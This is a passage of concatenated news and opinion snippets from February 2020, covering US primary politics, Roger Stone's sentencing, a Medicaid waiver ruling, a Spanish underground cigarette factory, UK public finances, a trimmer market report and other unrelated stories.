party insiders overturn the will of the voters I just dont think it's gonna happen. So the clock is ticking." Between the lines: For Bloomberg's dream scenario to play out, other moderate candidates would need to drop out quickly. And that's not happening. The debate ramped up intrigue over this scenario: What if none of the remaining Democrats in the race drops out, no matter how poorly they perform through Super Tuesday, because they all want to hang on in case of a contested convention? Quote of the day ... Bloomberg to a crowd in Salt Lake City: "So, how was your night last night?" The company formerly known as North East Mortgages has announced the merger of both their real estate and mortgage agencies, forming one powerhouse brokerage that can take care of every client needall under one roof. Now called North East, the company anticipates that all of its 20,000 clients to benefit from a more seamless process when it comes to buying, selling, financing, investing in real estate, and wealth management. North East has always consisted of several different companies, and North East Realties was specifically created because of licensing concerns. The mortgage brokerage and the real estate brokerage were kept separate in order to prevent brokers from getting hit with additional fees. A couple of years ago, however, that changed. The Greater Montreal Real Estate Board decided that unless someone is dually licensed, they didnt have to pay fees associated with Quebec property portal Centris. When they made that decision, Kilakos said, they started thinking about merging the companies together. And this year, it happened; North East Mortgages swallowed the real estate division, and even though everyone was always under one roof, working as one entity has really made a difference, says North East President Terry Kilakos. www.NAELA.org Medicaid is a lifeline for many people with disabilities and older adults. The DC Court of Appeals decision helps protect those populations from any future waiver proposals that seeks to restrict access and limit eligibility to the program. Last week, the D.C. Court of Appeals overturned the Secretary of Health and Human Services approval of Arkansass Section 1115 Medicaid waiver, which imposed harmful restrictions, such as work requirements, on certain Medicaid beneficiaries in the state. In the three-judge panel, all judges agreed that the waiver did not meet the objectives of Medicaid, which is to further medical coverage. The opinion stated that: "Arkansas Works was arbitrary and capricious" and affirmed the District Court's ruling on Arkansas's 1115 waiver demonstration. This will make using Section 1115 waivers to restrict access to Medicaid much more difficult to survive any legal challenge. Read the opinion on Gresham v. Azar. The case was originally consolidated with Stewart v. Azar, which challenged approval of a similar waiver project in Kentucky. The Court dismissed that case as moot after the newly elected Governor terminated the project to protect the health and welfare of Kentuckians. The National Academy of Elder Law Attorneys (NAELA) signed onto an amicus brief along with AARP, Justice in Aging, and Disability Rights Education and Defense Fund (DREDF) in Stewart, et al. v. Azar (the Kentucky Medicaid waiver case). The amicus argues that federal officials have granted the state of Kentucky a broad waiver of certain long-standing Medicaid protections and that this waiver does not assist in promoting the objectives of the Kentucky Medicaid program. Medicaid is a lifeline for many people with disabilities and older adults. The DC Court of Appeals decision helps protect those populations from any future waiver proposals that seeks to restrict access and limit eligibility to the program, said NAELA President Jennifer L. VanderVeen, CELA, CAP, NAELA Fellow. Learn more about NAELA Advocacy. About NAELA Members of the National Academy of Elder Law Attorneys (NAELA) are attorneys who are experienced and trained in working with the legal problems of aging Americans and individuals of all ages with disabilities. Upon joining, NAELA member attorneys agree to adhere to the NAELA Aspirational Standards. Established in 1987, NAELA is a non-profit association that assists lawyers, bar organizations, and others. The mission of the National Academy of Elder Law Attorneys is to educate, inspire, serve, and provide community to attorneys with practices in elder and special needs law. NAELA currently has members across the United States, Canada, Australia, and the United Kingdom. For more information, visit NAELA.org, or to locate a NAELA member attorney in your area, visit NAELA.org/findlawyer. By PTI AHMEDABAD: The White House will decide if US President Donald Trump will visit the Sabarmati Ashram during his day-long trip to the city on February 24, Gujarat Chief Minister Vijay Rupani said on Friday. Rupani's statement came in the backdrop of speculation in the last two days that the US president will not visit the Sabarmati Ashram, a place closely associated with Mahatma Gandhi. Earlier it was announced that after landing at the airport here on February 24, Trump will go to the Sabarmati Ashram and spend around 30 minutes there. "All preparations are in final stages for the visit of US President Donald Trump. He will directly come to Ahmedabad from Washington. After that a grand roadshow will be organised. Then he will go to the Motera stadium for 'Namaste Trump' programme, where two top leaders of the world (Trump and Prime Minister Narendra Modi) will be present," Rupani told reporters. Asked about Trump's visit to the Sabarmati Ashram, Rupani said, "The White House will decide about it and we will be informed soon." "Gujarat is proud to host the US President and people are taking pride that he is coming directly to Ahmedabad from Washington. This is possible due to PM Narendra Modi's friendship with Trump," he said. "This visit will also prove to be good for India," Rupani added. Meanwhile, Amrut Modi, a trustee of the Sabarmati Ashram, said they have not yet received any intimation about the cancellation of Trump and Modi's visit to the ashram. "Preparations have been going on since the last one week. Since there is no official announcement yet (about cancellation), we believe that Trump is coming," he said. He had earlier said that they would gift Mahatma Gandhi's autobiography and charkha to Trump during his visit to the ashram. Sources said that the route of Trump's roadshow will also be changed if the US president skips his visit to the Sabarmati Ashram. "It will be a shorter version of the 22-km roadshow presently planned," they said. Sabarmati Ashram is the place from where Mahatma Gandhi led India's non-violent freedom struggle. Over the last few years, leaders from several countries, including Chinese President Xi Jinping, Japanese Prime Minister Shinzo Abe, Israeli Prime Minister Benjamin Netanyahu and Canadian Prime Minister Justin Trudeau, have paid a visit to the ashram. None of the passengers were hurt physically; they suffered from a stress during these events, though Bus in Novi Sanzhary, February 2020 Screenshot from video The man who threw stones at the buses that came to Novi Sanzhary sanitarium is detained. Arsen Avakov, the Interior Minister of Ukraine reported that as quoted by UNN news agency. "Yes, [they] found him and took him in", the minister said, replying to the question of reporters if the man was detained. He also added that none of the passengers were hurt physically; however, they suffered from a stress during these events. A seal that managed to navigate its way up through a harbour and into a car park has been released back into the wild. The young pup was found near Inverclyde, Scotland on November 25 last year. He was taken to the Scottish SPCA national wildlife rescue centre in Clackmannanshire, where staff named him Dot-to-Dot. Turns out these guys were seal-y happy to be back in the wild. Watch amazing footage of some of our recent seal releases courtesy of volunteer Gail and her drone piloting skills! pic.twitter.com/mNiJMoUJE9 Scottish SPCA (@ScottishSPCA) February 20, 2020 They believe the seal, who was severely underweight, to have been two or three weeks old when discovered. The seal pup was believed to be only two or three weeks old. Picture:PA Steven Gray, manager of the centre, said: What made his story so unusual was that he had managed to get up the harbour steps, along the promenade and into the car park. The fact Dot-to-Dot managed to negotiate these obstacles, especially as he was so young and underweight, was incredible. We suspect he became separated from mum, took to the water out of desperation and got swept back in by the current. Its likely that the Dot-to-Dot was exhausted, which is why he came up the harbour stairs and into the dangerous location. Since then, the animal welfare charity has taken care of Dot-to-Dot and on Thursday he was released back into the water at Dundee, Scotland. Dot-to-Dot was returned to the sea by staff yesterday. Picture: PA Mr Gray added: Thankfully, the Greenock police were able to assist and stay with him until we arrived and transported him to our National Wildlife Centre at Fishcross. He has thrived in our care thanks to the hard work and dedication of the staff in the seal unit and were so happy to see him back in the wild where he belongs. Anyone who comes across an injured or potentially orphaned wild animal should contact our animal helpline on 03000 999 999. Vice-President of the Republican Party of Armenia Armen Ashotyan wrote about the Pashinyan-Aliyev meeting in Munich on his Facebook page today. He particularly wrote the following: Since the governments propaganda machine continues to present the meeting in Munich as an achievement in vain, and Pashinyan personally considered the meeting a turning point, once again, I must briefly remind the strictly negative sides of that ill-fated show that must be made public: 1. Any discussion between the primary figures of the countries that is out of the format of the OSCE Minsk Group Co-Chairs is unacceptable because this will contribute to Azerbaijans longstanding efforts to remove the issue of Artsakh from the format of the OSCE Minsk Group Co-Chairs. 2. Presenting this meeting as a way of raising awareness about the content of the negotiations over the settlement of the Nagorno-Karabakh conflict and as transparency is ridiculous because, in reality, we didnt find out anything about the main substance of the negotiations from the statements made by Pashinyan and Aliyev. 3. Once again, Pashinyan avoided expressing his subjective vision for the settlement of the Nagorno-Karabakh conflict. 4. The meeting in Munich didnt contribute to the strengthening of a constructive atmosphere for the settlement of the conflict and provided Aliyev with a platform to advance and legitimize his more extreme positions. 5. Armenia also didnt get points due to the bad image and improper behavior of the Azerbaijanis that went unanswered, Pashinyans bad English and more. These are only some of the things that can be presented to the public, taking into consideration the propaganda war that the Armenian authorities are overlooking, while Azerbaijan is intensively leading against Armenians. A week-long "reduction in violence" between the Taliban, the US, and Afghan security forces will commence shortly, an official said Friday, ahead of the signing of a possible deal between Washington and the insurgents. "The reduction in violence will start from 22 February and will last for one week," Javed Faisal, Afghanistan's National Security Council spokesman, told AFP. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) CLEVELAND, Ohio-- The cartoon above was first posted a year ago yesterday, Feb 20,2019, after Roger Stone had posted on Instagram a photo of Judge Amy Berman Jackson with a rifle scope target near her head, in the midst of his trial proceedings before her. On Wednesday, Judge Jackson sentenced Stone to 40 months in prison after his conviction on seven counts and violating court orders with multiple threatening Instagram posts directed at the Judge and Stones prosecution. In November 2019, a Grand Jury attached to Special Counsel Robert Muellers investigation, had indicted Stone on seven counts involving lying to federal authorities, obstructing Congressional investigations and witness intimidation. While under gag order, Stone twice created Instagram posts attacking Judge Jackson and the indictments. The first and most threatening post was made in February last year. It contained a photo of Judge Jackson with a rifle scope near her head. Stone quickly deleted the post and he and his lawyers apologized for it. Stone claimed the photo was obtained off the internet by a young aid, and that the rifle scope already on the image, was actually just the logo of the organization that originally created the photo and internet post. After deleting the first Instagram post, apologizing for it, and being rebuked in court, Stone again violated his gag order in March by posting a parody of Who Framed Roger Rabbit titled Who Framed Roger Stone with a message attacking his prosecution. In her sentencing remarks, Judge Jackson made clear Stones, indictment, prosecution, conviction and sentencing were warranted and no joke. Nothing about this case was a joke. It wasnt funny. It wasnt a stunt and it wasnt a prank. He was not prosecuted, as some have complained, for standing up for the president. He was prosecuted for covering up for the president. Trumplicans will claim that Stone being sentenced to little over three years was a direct result of Attorney General Barr reversing the original sentencing recommendation of 6 to 9 years, to recommending it be far less." That led the original 4 prosecutors to withdraw from the case. But newly assigned prosecutor John Crabb apologized for the sentencing recommendation reversal and defended the original prosecutors. I want to apologize to the court for the confusion the government caused with respect to this sentencing and the difficulties surrounding that. I want to make clear to the court that this confusion was not caused by the original trial team." who Crabb said acted in good faith. Crabb also confirmed that the original sentencing recommendation was in fact approved by Barrs aid Tim Shea, who has now been appointed U.S.Attorney in Washington. President Trump responded knowing Stone has petitioned for a new trial and may seek a new trial. I want to see it play out to its fullest, because Roger has a very good chance of exoneration. But we will watch the process and watch it very closely. And at some point I will make a determination. But Roger Stone and everybody has to be treated fairly. Now its just a question of when and how Trump will pardon Stone. Look for another Roger Rabbit-type parody post on Instagram: Who Pardoned Roger Stone. The newest major entrant to the Philippines mobile market, DITO Telecommunity, has asserted that it has enough funding to take on the longstanding duopoly of PLDT and Globe Telecom. DITO is a consortium composed of Chelsea Logistics Holdings, China Telecom Corp and Udenna Corp. It has been granted PHP25.3 billion (USD500 million) by the Bank of China to support its first year of operations. Chief Administrative Officer Adel Tamano underlined the operators ambitions, saying that DITO planned to deploy 1600 cell towers and rooftop installations by July this year. It has already constructed 600 cell sites and is confident that it could build 5000 with its available funding. There are rumours that we dont have resources for the rollout, said Tamano, before noting that the funding from Bank of China was enough for the first year requirement. He added that while DITO was aiming to invest PHP303 billion into the deployment, the operator could exceed this amount. To comply with the licence conditions, DITO will need to achieve 37% coverage by July, offering speeds of 27Mbps at a minimum. Tamano noted that the operator would stress test the network in September ahead of the full commercial launch in March 2021. HOLLAND, MI Haworth Inn and Conference Center, a 48-room hotel owned by Hope College, is getting a $7.5 million makeover. Under the project, which kicked off in November, the hotels guestrooms and conference rooms will be renovated, and the lobby will be rebuilt and outfitted with a new coffee shop, the college said in a news release. The project is being funded in part through a donation from Haworth, a private office furniture maker based in Holland. The company and the college declined to say how much the companys donated for the project. The Haworth Inn and Conference Center has been a tremendous resource for both Hope and the community, Hope President Matthew Scogin said in a statement. With this latest support from Haworth, this facility will be an even more inviting destination for guests and events and will also serve as a welcome center and a gathering space for Hope alumni. Guest rooms and the main-floor lobby are expected to reopen in May, while the coffee shop and conference spaces will be phased in during the summer, the college said. Hope opened the Haworth Inn and Conference Center in January 1997. In a news release, the college said it named the building after Haworth in recognition of donations made to the colleges endowment. In addition to 48 guest rooms, the building includes 10,000 square feet of meeting and banquet facilities, including 13 conference rooms. It also includes a fitness facility and gift shop. The design work related to the renovations has been led by Patricia Urquiola. In a news release, Hope said shes an award-winning designer and architect who works for Haworth and is based in Milan, Italy. The Haworth Inn and Conference Center has always been a focal point for mixing students, community residents, local organizations and businesses together. We are tremendously excited about this becoming an even more engaging place to share ideas and collaborate, said Dick Haworth, Chairman Emeritus. We are thrilled to have Patricia Urquiola design the space and be able to use the inn for Haworth guests to experience Holland, Michigan. This space will also help with attraction and retention for both Haworth and Hope. Derek Emerson, director of public affairs and events at Hope, declined to say how much the college spends to operate the hotel but added that the college makes money off the operation. Otherwise we wouldnt be renovating it, he said. We would be tearing it down or turning it into a dorm. Read more: Hope College awarded $800K for community-based partnerships initiative Pastors urge Grand Rapids city leaders to continue waivers for marijuana shops near churches 3M, Wolverine settle pollution lawsuit with Michigan family Gov. Whitmer endorses Jon Hoadley, Democrat seeking Fred Uptons seat Although Mike Bloomberg was generally a bust at the Democrat debate, with his reptilian, condescending air, he landed a couple of the debate's best shots, with Bernie as his target. The one that landed hardest was his point about Bernie being a total hypocrite for selling socialism to the masses while being a millionaire himself. Bloomberg's opportunity arose after he had already gotten off a zinger, saying capitalism works and communism doesn't, with the clear implication that Bernie is a communist (which he is). In response, Bernie went off on a doubletalk rant about the fact that America is already socialist, except for the plutocrats who live off the government while America's workers starve. Once Bernie had finished spouting this nonsense, during which he directly attacked "billionaires" (not millionaires, as he used to, but only billionaires), Bloomberg finally got his chance: What a wonderful country we have, the best known socialist in the country happens to be a millionaire with three houses. What'd I miss here? Bernie instantly got defensive: Bernie Sanders: Well, you missed that I work in Washington, house one. Michael Bloomberg: That's the first problem. Bernie Sanders: Live in Burlington, house two. Michael Bloomberg: That's good. Bernie Sanders: And like thousands of other Vermonters, I do have a summer camp. Forgive me for that. What Sanders glossed over was how very nice his houses are and how he funded that lovely little "summer camp." Indeed, with the phrase "summer camp," Bernie managed to imply that the last named is a tent with a couple of cots, rather than a $575,000 lakefront cabin with a guest cottage. Roscoe B. Davis has created an incredible thread with information about Bernie's wealth acquisition. It's long, so this is just enough to whet your appetite. You must read the whole thing to understand how Bernie's socialism is for you, not for him: But yes Bernie let's look hard at your wealth. You first off have never has never held a steady, full-time job.outside of a paper route you had as a kid & a couple of odd jobs part time right after you graduated from college for a couple of months. Roscoe B Davis (@RoscoeBDavis1) February 20, 2020 He did live in a Hippie commune in the 60's, but was asked to leave for being too lazy and not doing his part. In those 17 years Bernie ran for various local political offices and lost. Nobody was voting for the carpetbagger deadbeat from the Brooklyn. Roscoe B Davis (@RoscoeBDavis1) February 20, 2020 So living off the taxpayers is a family affair. But more on Jane later involving bank fraud amongst other things. In 1991 Bernie came to Washington, got himself elected to the House. Jane lost her cushy invented job back in Burlington since the Bern was no longer Mayor. Roscoe B Davis (@RoscoeBDavis1) February 20, 2020 H.J.Res. 132 (102nd): To designate March 4, 1991, as Vermont Bicentennial Day. H.R. 1353 (102nd): Entitled the "Taconic Mountains Protection Act of 1991." H.J.Res. 129 (104th): Granting the consent of Congress to the Vermont-New Hampshire Interstate Public Water Supply Compact Roscoe B Davis (@RoscoeBDavis1) February 20, 2020 S. 2782 (113th): A bill to amend title 36, United States Code, to improve the Federal charter for the Veterans of Foreign Wars of the United States. Roscoe B Davis (@RoscoeBDavis1) February 20, 2020 Let's see what Bernie Got: First there's Bernie's house back in Burlington VT Two story 5 bedroom home built in 1981 appraised at $1.2 MM Bernie paid $405K in 2009, not bad Bernie for a congressman pic.twitter.com/j6Qq9kxUae Roscoe B Davis (@RoscoeBDavis1) February 20, 2020 The lake house is located in a community called North Hero. Its a summer samp, purchased by Bernie Sanders and his wife, Jane, for $575,000 in cash in 2016, right after he folded at the DNC to Hillary. The home has four bedrooms and 500 feet of Lake Champlain beachfront. pic.twitter.com/MB4FZhsH9L Roscoe B Davis (@RoscoeBDavis1) February 20, 2020 Now Bernie got a $100k advance on a book he hadn't yet written, & she sold her share of her familys vacation home in Bridgton, Maine, to her brother for $150K added some money from her "retirement account" to come up with the money. Hmm Roscoe B Davis (@RoscoeBDavis1) February 20, 2020 Retirement account, retirement account from what? Oh wait! In 2004, Jane Sanders was named President of Burlington College, a private, "non-profit" liberal arts school founded in 1972 in Vermont. Non-Profit Let's look into this a bit more. Roscoe B Davis (@RoscoeBDavis1) February 20, 2020 In 2010, Sanders oversaw the purchase of property formerly owned & occupied by the Roman Catholic Diocese of Burlington. The College based the real estate purchase on projections that enrollment would rapidly grow from fewer than 200 to as many as 750 students, Jane told the bank Roscoe B Davis (@RoscoeBDavis1) February 20, 2020 Read the rest here. By amassing wealth and property, Bernie has proven himself to be a true socialist leader. After all, he's doing precisely what socialist leaders do: they impose poverty on the masses while enriching themselves because, in their own minds, they deserve it. Moreover, having taken control over the government, they can get away with it. When Hugo Chavez died, the man whose socialist policies destroyed Venezuela's economy was estimated at $1 billion. His daughter, Maria Gabriela Chavez, was estimated to be worth $4.2 billion. Fidel Castro's estimated net worth at his death was $900 million. Kim Jong-un's wealth compared to his impoverished nation is beyond estimation. For these leaders, socialism isn't a principled ideology; it's a racket and Bernie's property holdings show that he's in on the racket. Questo comunicato e stato pubblicato piu di 1 anno fa. Le informazioni su questa pagina potrebbero non essere attendibili. The global electric hair clipper & trimmer market size is anticipated to reach USD 6.3 billion by 2025, according to a new report by Grand View Research, Inc., expanding at a CAGR of 2.5% over the forecast period. Launch of innovative products with improved design is a main factor driving demand for electric hair clipper & trimmer. For instance, in June 2019, Xiaomi MI launched a beard trimmer in India. Key features of the trimmer include stainless body, corded/cordless usage, improved battery, waterproof, and travel lock. The clipper is especially designed for the Indian market. Growing trend of beard is expected to fuel demand for electric clipper over the forecast period. Popularity of beard is steadily increasing as it makes men look stylish and sexy and appealing to the potential partner. Sales of razor has been decreasing steadily across the developed countries mainly because people in these countries either opt for full beard look or use electric trimmer. Moreover, consumers in these countries are shifting towards environment friendly products, thus minimizing use of disposable razor. For instance, according to the U.S. Environmental Protection Agency, America produced 2 billion disposable razors and blades. According to a study, in 2018, more than 160 million consumers in U.S. used disposable razors. Such factors are expected to fuel adoption of electric hair clipper over the forecast period. Cordless products held a leading market share in 2018. These clippers are battery operated, more handy, and accessible to carry around. Cordless clipper is the best for people who love to travel and like to carry their hair styling routine with them. Launch of innovative products, coupled with improved battery life, is a main factor expected to fuel the demand for cordless electric clipper. For instance, in March 2016, Wahl introduced beard only trimmer to support growing facial hair trend. The product is especially designed for trimming beard and is equipped with powerful lithium ion battery. The offline channel segment held a leading share of 87.3% in 2018. Rising presence of these retailers across the world will increase the products visibility and thus, in turn, is expected to have a positive impact on the growth of the market. The online segment is anticipated to expand at the fastest CAGR of 4.1% from 2019 to 2025. Increasing presence of e-commerce retailers in tier II and tier III cities, coupled with introduction of same day delivery services, is expected to boost the sales of these products through online channel. For instance, as of 2019, Amazon Retail India have presence in more than 100 cities and plans to expand in 60 tier II and tier III cities by the end of 2020. Most of the prominent companies also have their own sites, which contributes to the segment growth. Asia Pacific held a leading market share in 2018. Increasing product visibility, coupled with growing trend of beard among young men, is a main factor expected to boost the demand for the electric trimmer over the forecast period. Middle East and Africa is anticipated to expand at the fastest CAGR of 3.7% from 2019 to 2025. Increasing spending on male grooming is a main factor expected to fuel the use of electric trimmer in the region. To request a sample copy or view summary of this report, click the link below: https://www.grandviewresearch.com/industry-analysis/electric-hair-clipper-trimmer-market Further key findings from the report suggest: Asia Pacific held a leading share of 51.3% in 2018 due to growing penetration of technologically advanced products and increasing spending on male grooming Cordless products are anticipated to witness the fastest growth from 2019 to 2025 due to introduction of products with improved battery life, coupled with improved ergonomics Offline channel generated a revenue of USD 4.6 billion in 2018. Online channel is expected to register the highest CAGR of 4.1% over the forecast period due to increasing penetration of e-retailers such as Amazon and Walmart in tier II and tier III cities The electric hair clipper & trimmer marketis highly competitive due to presence of prominent vendors including Koninklijke Philips N.V.; Wahl; Spectrum Brands, Inc.; Procter & Gamble; Panasonic Corporation; Conair Corporation; VEGA; Sunbeam Products, Inc.; and Havells India Ltd. Grand View Research has segmented the global electric hair clipper & trimmer market by product, distribution channel, and region: Electric Hair Clipper & Trimmer Product Outlook (Revenue, USD Million, 2015 - 2025) Corded Cordless Electric Hair Clipper & Trimmer Distribution Channel Outlook (Revenue, USD Million, 2015 - 2025) Offline Online Electric Hair Clipper & Trimmer Regional Outlook (Revenue, USD Million, 2015 - 2025) North America US. Europe Germany UK. France Asia Pacific China India Central & South America Brazil Middle East & Africa About Grand View Research Grand View Research, Inc. is a U.S. based market research and consulting company, registered in the State of California and headquartered in San Francisco. The company provides syndicated research reports, customized research reports, and consulting services. To help clients make informed business decisions, we offer market intelligence studies ensuring relevant and fact-based research across a range of industries, from technology to chemicals, materials and healthcare. Madrid, Spain Europes first underground illegal cigarette factory to be unearthed has been revealed, after Spanish police rescued six men who were suffocating there. Despite shouting for help and banging on the roof of the clandestine bunker, the men abandoned as supplies of air ran out could not at first be heard by police searching above, because the factory was tightly soundproofed. Only the persistence of the officers, who used a forklift truck to remove a cargo container that hid the entrance to the factory, saved the men inside. The factory, built 13 feet (four metres) under a stable in Monda, in Malaga Province in southern Spain, was equipped with bunk beds and living quarters for staff. At least 3,500 cigarettes rolled off the production line every hour, police said as they released details of the operation on Thursday. This machinery in the illegal underground tobacco factory produced 3,500 cigarettes an hour [Jon Nazca/Reuters] The factory, which had been operating for about a year, generated profits of more than 600,000 euros ($647,000) per week. Workers were blindfolded as they were escorted into the factory, where they would spend two weeks at a time, the Spanish Civil Guard said. They were reportedly each paid 7,000 euros ($7,550) per month. The men were not allowed to leave the factory unaccompanied, and had to endure exposure to toxic materials in conditions that police described as dangerous. Spanish police, acting on a tip-off from Europol, had launched an operation, named Hannibal, to find a drugs gang based on the Costa del Sol, in southern Spain. After a series of raids last week, they seized more than three million cigarettes, along with more than 17 tonnes of rolling tobacco, 20kg (44lbs) of hashish and 144kg (317lbs) of cannabis. Workers were kept in semi-slavery, locked into the underground factory replete with kitchenette and bunk beds for two weeks at a time, a source told Al Jazeera [Jon Nazca/Reuters] However, after their arrest, none of the 12 British suspects mentioned the existence of the factory to police, leaving six Ukranian workers trapped inside. Unable to contact the outside world, they had difficulty breathing after a generator that supplied fresh air was turned off. If the officials had not found the clandestine factory in time, the lack of oxygen would have soon made the underground conditions incompatible with the survival of the workers who were there, a Civil Guard spokesman said. Carlos Gallego, of the Civil Guards Central Operative Unit, told Al Jazeera: The gang chose the perfect place to set up their factory; it is isolated and was very difficult to find. There have been other illegal cigarette factories, but this is the first one in Europe that has been discovered underground. The United Kingdoms National Crime Agency tracked down Daniel Dobbs, living in Spain under a false name, last year. In January 2014, he had been sentenced to nearly 14 years in prison, but absconded from jail [NCA handout] The 12 British nationals arrested in the operation have appeared in court to face charges of falsification, fraud, money laundering and offences against public health connected with drugs. All were remanded in custody to face trial later. One of the alleged ringleaders was a Briton named by Spanish media as Daniel Dobbs, 31, from Malton, North Yorkshire, a convicted heroin trafficker who has been on the run from British authorities since November 2018 when he was found missing from his cell in an open prison. Dobbss arrest is a fantastic result and shows the power of our international partnerships, the United Kingdom National Crime Agencys Alison Abbott said in a statement emailed to Al Jazeera. British fugitives should know that we will catch up with them, no matter where they are. The gang was reportedly smuggling the illicit cigarettes to Britain. The suspected leaders of the gang lived in large villas on the Costa del Sol, while the men who worked in the factory lived in conditions of semi-slavery, a source at the financial crimes unit at Spains Civil Guard told Al Jazeera. They were paid, but lived in unhealthy conditions and were locked into this place for 24 hours a day for two weeks at a time, said the source, who asked not to be named. The UK posted a smaller than expected budget surplus in January, a month that traditionally sees an inflow of tax revenues, according to figures that highlighted the challenge facing incoming chancellor Rishi Sunak. The surplus, excluding public sector-owned banks, stood at 9.8bn, down by 2.1bn or 18 per cent from January 2019, the Office for National Statistics said. The consensus forecast was for an 11.4bn surplus. This meant that borrowing in the current financial year-to-date, covering April 2019 to January 2020, was 44.8bn 5.8bn or 14.9 per cent more than in the same period the previous year. If the trend continues over February and March, the full-year deficit will be around 45bn, according to analysts at Investec Bank. This would still be below the 47.6bn that the Office for Budget Responsibility has forecast. An improvement in revenue thanks to a record 16.2bn collected through self-assessment was cancelled out by a 3.6 per cent annual increase in spending day-to-day rather than investment expenditure, reflecting increases in spending on health, social care and education pledged by former prime minister Theresa May. Spending by government departments rose by 6.5 per cent compared with a year earlier. Total spending, including capital investment, rose by 5.5 per cent. The current budget in the fiscal year so far was in deficit by 7.2bn. Under the fiscal rules set by former chancellor Sajid Javid, who resigned earlier this month, the government must balance the current budget over three years, although borrowing for infrastructure is allowed up 3 per cent of GDP, which would allow an extra 22bn of public sector net investment a year. While the current fiscal rule, would still allow a large rise in public investment, the rise in the deficit makes the ambition of balancing the current budget deficit more restrictive, said Andrew Wishart, a UK economist at analysts Capital Economics. Mr Sunak said this week he would stick with the 11 March date for the governments first post-Brexit Budget, ending speculation that the plans, which are likely to entail a big increase in spending, would be delayed. Philip Shaw, the chief UK economist at Investec, said the critical factor for next months Budget would be how much fiscal headroom there was to raise spending further beyond the plan for 2020-21 that Mr Javid set out last September. The Conservatives manifesto committed the party to balancing the current budget during this parliament, he said. Mr Shaw added that how much room Mr Sunak had depended on precisely how this was defined, for example, which specific year in the parliament was used. Our guess is that although there will not be much space for fiscal generosity, the chancellor will find some, he said. Hundreds of billboards promising the "coldest of beers" and "selfie-loving quokkas" will be placed across Britain as part of a new tourism campaign. Credit:Tourism Australia A new advertising campaign will attempt to reverse the harm to the tourism industry caused by the bushfire crisis and coronavirus two months after a $15 million celebrity campaign starring Kylie Minogue was halted. Instead of famous faces, billboards will be placed in the London Underground, bus shelters and on the sides of buses, addressed "to our mates in the UK". Theres still the coldest of beers, the billboards say. Theres still the selfie-loving quokka. Theres still millions of mates waiting to meet you. There's still nothing like Australia." Tourism Minister Simon Birmingham said the marketing blitz, part of the federal governments $76 million package for the beleaguered tourism industry, was designed to convey the message that Australia was open for business and a safe destination. Although Democratic presidential candidate Michael Bloomberg has expressed regret for the stop-and-frisk policy he initiated while mayor of New York City, his apology hasnt been accepted, at least not by the Left. New York Times columnist Charles M. Blow says that Stop, Question, and Frisk (SQF), as the NYPD called it, was racist and unpardonable. For good measure, this being the age of hyperbole, he claims that the policy amounted to a police occupation of minority neighborhoods, a terroristic pressure campaign. As usual, the reality is more complex than such dogmatists acknowledge. First, the policy was a well-intentioned effort to rationally address the major law-enforcement problem of the modern era: high violent-crime rates in the poor, minority-heavy neighborhoods of big cities. The response was rational because it aimed to prevent gun violence by, as Bloomberg put it in 2012, making it too hot to carry. And flooding poor black neighborhoods with police also made sense since, as Bloomberg pointed out in his much-decried comments at the Aspen Institute in 2015, thats where the crime is. Its sad, but its true. Consider some New York City crime figures from the post-SQF era, after a federal judge had shut the policy down and Bloomberg had left office. In 2017, when they were 22 percent of New Yorks population, African Americans were nearly three-quarters of the shooting victims, 56 percent of the murder victims, and 65 percent of the arrests for illegal guns, according to an annual report from the NYPD. Such extreme disproportionalities were the norm in the pre-SQF era, and Bloombergs critics have yet to offer an alternative method of solving the problem. Although non-law-enforcement interventions in minority communities might be effective Thomas Abt in Bleeding Out offers the latest proposals in this vein every sensible remedy (including Abts) invariably includes increased police deployments. Stop, Question, and Frisk was no exception; it provided for deployments to hot spots, small areas with high violent-crime rates. Story continues The question, of course, is what happens after the deployments. In the case of SQF, the police aggressively stopped suspicious persons mainly young minority males in the targeted areas, questioned them, and then sometimes frisked them for weapons. This went on for eight years, from 2004 to 2012, a period covering most of Bloombergs mayoralty. We know about the opposition, the lawsuits, and the eventual cessation of SQF as Bloombergs term ended. But what about the policys effectiveness? Heres where the critics have a good point. My research has found that crime was falling before SQF was implemented and that the decline continued but did not accelerate afterward. From 2004 to 2012, complaints involving seven major felonies declined by 21.5 percent citywide. In the years just prior, 2000 to 2003, when the volume of stops was much lower, the crime fall was nearly the same: 20.4 percent, according to data provided to me by the NYPD. What about guns? Didnt SQF take thousands of firearms off the streets? The answer is yes, but gun crimes did not diminish as a result. From 2003 to 2013, the NYPD seized 7,672 guns in 4,984,393 stops. Gun seizures averaged 698 per year. In statistical terms, there was a strong positive correlation between the number of stops and the number of guns confiscated. In plain English, more stops meant more guns seized. Thats the good news. Heres the not-so-good: The best sign of success for SQF would have been a decrease in gun crimes. If the policy deterred carrying, one would think the proportion of murders and robberies carried out with guns should have diminished whether or not murders and robberies themselves declined. Yet both the percentage of murders with weapons (including guns) and the percentage of robberies with firearms rose during the peak years of SQF. Had the policy deterred carrying, we would have seen the opposite effect: fewer such crimes as stops increased. It is possible that the causal arrow ran in the other direction and that the NYPD increased the number of SQF stops in response to concerns about rising gun-crime rates. On the one hand, this seems unlikely, because gun-crime rates were falling in New York City, not rising. On the other hand, the citywide decline may have masked crime increases in the hot spots to which the police department was responding. To check this last issue, I looked at the percentage of crimes with guns in Brooklyns 75th Precinct, which had the most stops of any precinct in the city and was second in the number of serious felonies. The percentage of robberies with guns rose during seven of the peak SQF years, and statistically there was a robust positive correlation between SQF stops and gun robberies as a percentage of all robberies. In short, as stops rose or fell, so did the percentage of robberies with guns, an outcome that tracked the citywide pattern. This strong positive relationship as opposed to the hoped-for inverse relationship in which more stops correlated with fewer robberies with guns undercuts claims that SQF deterred gun crimes in the 75th Precinct. So SQF took thousands of guns off the streets but, anomalously, didnt reduce gun crimes or, to be more precise, didnt accelerate their already-in-progress decline. Given the fierce opposition and bitterness the policy generated, theres a strong argument to be made that it wasnt worth it. Should Bloomberg have apologized for SQF? Thats a political question. What we can say is that there is no evidence it was intended to discriminate against African Americans, and plenty of evidence that it was a rational, if unsuccessful, effort to help the people of color who made up a disturbingly disproportionate percentage of violent-crime victims. More from National Review The corporate sector witnessed a slew of updates in the week (February 17-21) gone by. In the auto sector, Bajaj Auto became the first major two-wheeler manufacturer to exceed exports when compared to domestic sales. In the aviation sector, grounded carrier Jet Airways has received some interest from Russia over a possible revival deal. This and more is discussed in this edition of the Corporate Buzz podcast by Moneycontrols Jerome Anthony and Corporate Bureau Chief Prince Thomas. A pastor is among the dozens to have been killed during an attack on a church in northern Burkina Faso on Sunday. Gunmen killed 24 people and wounded 18 when they stormed a Protestant church in the village of Pansi, in Yagha province, during the weekly 